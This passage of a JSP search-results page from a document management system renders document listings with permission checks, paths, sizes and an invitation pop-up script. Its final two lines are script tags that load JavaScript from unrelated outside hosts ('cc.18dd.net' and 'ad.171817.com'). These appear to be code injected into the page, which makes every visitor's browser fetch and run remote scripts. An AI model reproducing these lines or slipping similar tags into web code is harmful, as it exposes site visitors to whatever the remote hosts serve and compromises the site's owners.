       checkoutPersonID = checkoutHistory.getCheckoutPersonID();
    }
    //Permission string
    documentRoot = docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    String permission = "";
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      permission = "PERSONAL";
    } else {
      //Bill add EIP-2028
      permission = (String) permissionManager.filterDocumentPermissionByWorkflow(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument) dmsDocument).getID());
    }
    %>
    <%--/* Jicle.Wang 6143 2006/08/25 Start */--%>
    <%
      String permissionNew = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((DmsDocument)dmsDocument).getID());
      if (permissionNew==null || permissionNew.indexOf("D")==-1 || DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus) || DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) {
    %>
      <script language="JavaScript">
        <!--
        notAllowDeleteIDAry[notAllowDeleteIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
        -->
      </script>
   <%
  }
    %>
    <%-- /* Jicle.Wang 6143 2006/08/25 End   */--%>
    <td align="center">
      <%//Update By Jim Zhou                2006/12/05          EIP-1098
      if (DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
        DmsDocument targetDoc =docRetrievalManager.getRelationshipTargetDocument(((DmsDocument)dmsDocument).getID(),((DmsDocument)dmsDocument).getDocumentType());
        if(targetDoc!=null){
          tmpDocument = targetDoc;
        }else{
          tmpDocument =(DmsDocument) dmsDocument;
        }
      }else{
        tmpDocument =(DmsDocument) dmsDocument;
      }%>
      <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus) && (!docValidateManager.checkExpireDocumentByOwner(tmpDocument))) { %>
        <%if(!isLightVersion){%>
           <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
        <%}else{%>
           <logic:permission right='D' objectType='D' objectID='<%=curDocID%>'>
             <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
             <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
           </logic:permission>
        <%}%>
      <%}else {%>
      		<logic:permission right='' objectType='D' objectID='<%=curDocID%>'>
             <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsDocument' property='ID'/>" onclick="return(false);">
             <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
           </logic:permission>
      <%} %>

  </td>
  <td align="center"><dms:contextMenu/></td>

    <td class="searchResultItemsList">
    <ul>
      <li class="documentTitle">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'  pageFlag='<%=pageFlag%>'/>
      </li>
      <li class="documentPath">
      <% if (((DmsDocument)dmsDocument).getParentID().intValue() !=0 ) {
      %>
      <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>'/>
      <%}else{%>
      <bean:message key='dms.label.root'/>
      <%}%>
      </li>
  <% if ("KEY_WORD".equals(searchPage)) { %>
  <li class="defaultProfile">
  <%
    String dciScore = request.getAttribute("DCI_SCORE_" + listLoopCnt)==null?"":(String)request.getAttribute("DCI_SCORE_" + listLoopCnt);
  %>
    <%=request.getAttribute("DCI_ALL_RELATED_INDEXES_" + listLoopCnt)%>
  </li>
  <li class="documentContent">
    <%

    List documentDetails= docRetrievalManager.getDocumentDetailList(((AbstractBaseObject)dmsDocument).getID());
    if(documentDetails!=null){
    for(int i=0;i<documentDetails.size();i++){
      DmsDocumentDetail dmsDocumentDetail = (DmsDocumentDetail)documentDetails.get(i);
      SysUserDefinedIndexDetail sysUDFDetail= (SysUserDefinedIndexDetail)docRetrievalManager. getUDFDetail(dmsDocumentDetail.getUserDefinedFieldDetailID());
    %>
    <%}}%>
  <% if (request.getAttribute("DCI_FULLTEXT_" + listLoopCnt)!=null) { %>
  <%
    String text  =""+(request.getAttribute("DCI_FULLTEXT_" + listLoopCnt)!=null?request.getAttribute("DCI_FULLTEXT_" + listLoopCnt):"");
    text = TextUtility.replaceString(text,"\n"," ");
    String text2 = "Inaccessible Content";%>
    <logic:permission right='R' objectType='D' objectID='<%=((DmsDocument)dmsDocument).getID()%>'>
      <%=text==null?"":text%>
     &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=text2==null?"":text2%>
    </logic:permission>
  <% } %>
      </li>
  <% } %>
    </ul>
    <div id="summaryInfo_<%=listLoopCnt%>" class="summaryInfo">
        <table class="summaryInfoTable">
            <tr>
            <td class="infoLabel">
                <bean:message key="dms.columnheader.item_size"/>
            </td>
            <td class="infoValue">
<%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())||
            DmsDocument.COMPOUND_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.EMAIL_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.FORM_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType()) ||
            DmsDocument.FLOW_DOC_TYPE.equals(((DmsDocument) dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        }else{
          out.println("-");
        }%>
            </td>
            <td class="infoLabel">
                <bean:message key="common.columnheader.updater"/>
            </td>
            <td>
                <bean:write name='dmsDocument' property='updaterName'/>
            </td>
            </tr>
        </table>
    </div>
    </td>
    <td>
    	<input type="hidden" name='itemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>'/>
    	<dms:documentStatus/>
    </td>
    <td class="bodyVerySmall"><bean:write name='dmsDocument' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <%Integer docID = ((DmsDocument)dmsDocument).getID();
    if (((DmsDocument)dmsDocument).getDocumentName().toUpperCase().indexOf("TIF") > 0){
      sTifExist = "true";
    }
    %>

  </tr>

  </logic:iterate>
  <!-- Record Looping End -->
<%
    }
%>
  <%} catch (Exception e) {
    LogFactory.getLog(this.getClass()).error(e, e);
    }%>

</table>
</div>

<!-- index search Tab DIV-->
<div id="advSearchTab" style="display:none">
<jsp:include page="SearchDmsDocument.jsp"/>
</div>

<!-- key word search Tab DIV-->
<%if (!DmsOperationConstant.KEYWORD_SEARCH_OPERATION.equals(editSearchDmsDocumentForm.getAdvSearchOpt())){%>
  <div id="keySearchTab" style="display:none">
  <jsp:include page="SearchKeywordDmsDocument.jsp"/>
  </div>
<%}%>

<!-- bulk Search Tab DIV -->
<div id="bulkSearchTab" style="display:none">
<jsp:include page="BulkSearchDmsDocument.jsp"/>
</div>

<!-- Pager Information Begin -->
<div class="listStatusBar">
<layout:pager form="editSearchDmsDocumentForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
</layout:pager>
</div>
<input type="hidden" name="tifExist" value="<%=sTifExist%>"/>
<input type="hidden" name="hasRelationship" value="<bean:write name='dmsDocument' property='hasRelationship'/>">
<!-- Pager Information End -->

<%}catch(Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>

<script language='javascript'>
<!--
  function clipbordInvite(docID){
  try{
    var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
    var ni = document.createElement("iFrame");
    ni.setAttribute("src",url);
    ni.setAttribute("scrolling","yes");
    ni.setAttribute("frameborder","no");
    ni.setAttribute("width","100%");
    ni.setAttribute("height","100%");
    ni.setAttribute("id","ifram1");
    document.getElementById("NewDocumentInvitation").appendChild(ni);
    document.getElementById("NewDocumentInvitation").style["display"]="";

    var loadFrame = document.getElementById("NewDocumentInvitation");

    loadFrame.style.width="780";
    loadFrame.style.height = "600";
    loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
    loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
    DimBackgroud(null,false);
  }catch(e){}

  }
//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>